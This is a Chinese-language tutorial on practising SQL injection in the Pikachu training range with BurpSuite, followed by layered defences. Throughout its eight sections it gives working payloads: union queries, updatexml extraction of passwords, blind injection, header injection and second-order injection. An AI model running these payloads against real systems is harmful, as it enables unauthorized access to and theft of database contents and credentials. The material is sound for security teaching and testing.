从零玩转Pikachu靶场：SQL注入实战8大场景与BurpSuite高阶技巧
第一次接触SQL注入时，我盯着屏幕上那条简单的' or 1=1--语句发了半小时呆——它看起来如此普通，却能直接获取整个数据库权限。这种"四两拨千斤"的攻击方式让我彻底迷上了Web安全研究。本文将带你用Pikachu这个专为安全初学者设计的靶场，通过8个典型场景深度掌握SQL注入的核心攻击手法，同时结合BurpSuite这款渗透测试神器，演示如何系统化地发现、验证和利用注入漏洞。
1. 环境搭建与工具准备
工欲善其事，必先利其器。在开始实战前，我们需要配置好实验环境。推荐使用Windows系统下的PhpStudy集成环境部署Pikachu靶场，整个过程就像安装普通软件一样简单：
- 下载PhpStudy最新版（含Apache+MySQL+PHP）
- 解压Pikachu靶场到WWW目录
- 访问localhost/pikachu运行安装向导
- 初始化数据库并设置管理员账号
BurpSuite社区版足以满足我们的学习需求，但建议配置以下优化设置：
# 修改BurpSuite代理监听端口（避免与常用端口冲突） Proxy → Options → Proxy Listeners → Edit → 修改端口为8088 # 开启拦截响应功能（重要） Proxy → Options → Intercept Server Responses → 勾选"Intercept responses based on..."实战提示：在Chrome浏览器中安装SwitchyOmega插件，可以快速切换代理设置。遇到证书警告时，访问http://burp下载并安装CA证书。
2. 数字型注入：POST请求的攻防博弈
在用户登录场景中，我们意外发现一个员工查询功能。通过BurpSuite拦截POST请求，可以看到原始数据格式：
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 7 id=1分步攻击流程：
基础验证（判断注入点）
id=1 and 1=1#→ 页面正常id=1 and 1=2#→ 页面异常
字段数探测（关键步骤）
id=1 order by 2# -- 正常 id=1 order by 3# -- 报错信息提取（联合查询技巧）
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
防御方案对比：
| 防护方式 | 优点 | 缺点 |
|---|---|---|
| 参数化查询 | 完全杜绝注入 | 需要重构代码 |
| 输入过滤 | 实现简单 | 可能被绕过 |
| WAF防护 | 无需改代码 | 存在误判漏判 |
3. 字符型注入：GET请求的闭合艺术
搜索功能往往是注入的高发区。当我们输入admin'出现数据库报错时，就像发现了宝藏的钥匙。与数字型不同，字符型注入需要处理引号闭合：
GET /pikachu/vul/sqli/sqli_str.php?name=admin' and '1'='1 HTTP/1.1高阶技巧：
- 使用
--+替代#（URL编码差异） - 模糊测试闭合方式：
'、"、)、'))等 - 信息收集payload：
' union select 1,@@version,3--+
注意：BurpSuite的Decoder模块可以快速进行URL编码/解码，配合Intruder模块能自动化测试闭合方式。
4. 报错注入：非常规数据提取术
当页面没有显位但显示错误信息时，报错注入就是最佳选择。Pikachu的注册功能演示了这种精妙攻击：
xiaoming' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '报错函数对比表：
| 函数 | 触发条件 | 输出限制 |
|---|---|---|
| updatexml() | XPATH语法错误 | 32字符 |
| extractvalue() | XPATH语法错误 | 32字符 |
| floor() | 主键重复 | 完整输出 |
实战案例：分片获取管理员密码
' and updatexml(1,concat(0x7e,substr((select password from users limit 0,1),1,16),0x7e),1) and '5. 盲注攻击：无回显下的数据侦探
布尔盲注就像在黑暗中摸索，通过页面响应差异推断数据。时间盲注则更隐蔽，利用延时函数作为判断依据：
布尔盲注工作流：
- 判断数据库长度
' and length(database())=7--+ - 逐字符猜解表名
' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='u'--+
自动化方案：使用BurpSuite的Intruder模块，配合以下设置：
- Attack type:Cluster bomb
- Payload set 1: 字符位置（1-20）
- Payload set 2: 字符字典（a-z0-9_）
6. HTTP头部注入：被忽视的危险入口
User-Agent、Cookie等头部字段也可能成为注入点。通过BurpSuite拦截登录请求，在Cookie字段尝试：
Cookie: username=admin' and 1=convert(int,@@version)--防护建议：
- 对所有输入参数进行过滤，包括HTTP头部
- 使用预编译语句处理数据库操作
- 定期更新WAF规则库
7. 二阶注入：潜伏的定时炸弹
这种注入方式像慢性毒药，恶意数据先被存储后触发。Pikachu的留言板功能完美演示了这种攻击：
- 注册特殊用户名
admin'-- - 修改密码时触发注入
UPDATE users SET password='newpass' WHERE username='admin'-- '
检测方法：
- 审计所有数据存储点
- 跟踪数据流经的所有环节
- 实施自动化SQL注入测试
8. 防御体系构建：从被动防护到主动免疫
真正的安全不是修补漏洞，而是建立防御体系。以下是我在项目中总结的多层防护方案：
代码层防护：
// 参数化查询示例 $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);架构层措施：
- 使用ORM框架（如Eloquent）
- 实施最小权限原则
- 启用数据库审计日志
运维层加固：
- 定期进行漏洞扫描
- 部署RASP运行时防护
- 建立应急响应机制
在最近一次渗透测试中，我们发现某系统虽然使用了参数化查询，但错误配置导致ORM的raw()方法可执行原生SQL。这再次证明安全是个系统工程，需要全方位防护。
